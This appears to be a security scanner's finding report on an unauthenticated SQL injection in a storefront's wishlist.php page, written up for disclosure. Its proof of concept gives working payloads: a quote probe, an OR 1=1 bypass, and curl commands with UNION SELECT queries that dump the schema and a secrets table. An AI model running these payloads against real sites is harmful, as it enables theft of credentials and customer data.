Unauthenticated SQL injection in wishlist.php?id= (UNION-based and time-based blind)
/wishlist.phpAttack Path
Business Impact
An unauthenticated attacker can exfiltrate the entire application secret store, including AWS credentials, Stripe webhook secrets, JWT signing keys, and API master keys, enabling full cloud infrastructure takeover, payment fraud, and forged authentication tokens. The database also contains customer orders, promo codes, and contact inquiries, exposing PII and financial data with potential PCI DSS, GDPR, and SOC 2 compliance violations. Evidence of prior write activity in the products table suggests attackers may already have established persistence or planted malicious content.
Description
The id GET parameter of /wishlist.php, a public wishlist share-link page, is interpolated directly into a mysqli query without parameterization. An attacker can break out of the string context with a single quote (triggering a mysqli error at line 42), control query logic with boolean payloads, and use 3-column UNION SELECT statements whose second column renders attacker-controlled SQL output as the wishlist name. This enables full unauthenticated extraction of the database schema and the entire secrets table, including cloud and payment credentials.
Proof of Concept
Setup
No authentication required - /wishlist.php is a public page. The ?id= parameter (wishlist share token) is used raw in a SQL query.
Exploit
- Confirm the injection - a single quote breaks the query:
GET /wishlist.php?id=bf0f10ccb6c78868' HTTP/1.1
Host: storefront.example
Response emits Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in /app/[REDACTED-PATH] on line 42.
-
Arbitrary row selection -
' OR 1=1-- -returns a different wishlist ("TestWishlist", 3 items) proving query control. -
UNION-based extraction (3 columns; column 2 renders as the wishlist name) - dump the DB version and schema:
curl "http://storefront.example/wishlist.php?id='+UNION+SELECT+1,version(),3--+-"
curl "http://storefront.example/wishlist.php?id='+UNION+SELECT+1,(SELECT+GROUP_CONCAT(table_name)+FROM+information_schema.tables+WHERE+table_schema=DATABASE()),3--+-"
- Dump the
secretstable:
curl "http://storefront.example/wishlist.php?id='+UNION+SELECT+1,(SELECT+GROUP_CONCAT(secret_key,':',secret_value+SEPARATOR+'|')+FROM+secrets),3--+-"
Verification
The wishlist name in the response (<h2> element) contains the exfiltrated data:
<h2><i class="fas fa-heart text-danger"></i> database_backup_key:[REDACTED]|api_master_key:[REDACTED]|admin_session_secret:[REDACTED]</h2>
Full application secret store exfiltrated by an unauthenticated attacker.
Cleanup
No state was persisted (read-only injection).
Observed Behavior
A single quote in the id parameter returned HTTP 200 with a mysqli warning at line 42 of /app/[REDACTED-PATH] and UNION SELECT payloads rendered the MySQL version (5.7.44), the full table list, and the complete contents of the secrets table (10 credential pairs including AWS, Stripe, and JWT secrets) in the wishlist name. All requests were unauthenticated.
Attack Scenarios
- 1
An unauthenticated attacker dumps the application secret store, including AWS keys, Stripe webhook secret, and JWT signing key, directly from the page output.
- 2
An attacker reads any wishlist, orders, or promo codes in the database.
- 3
Second-order compromise is already indicated by planted product names containing /etc/passwd and base64 tokens observed in the products table, suggesting a prior write via SQL injection.
Triage & Management
Validation Status
Exploitability
Asset Information
Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.
Find issues in your app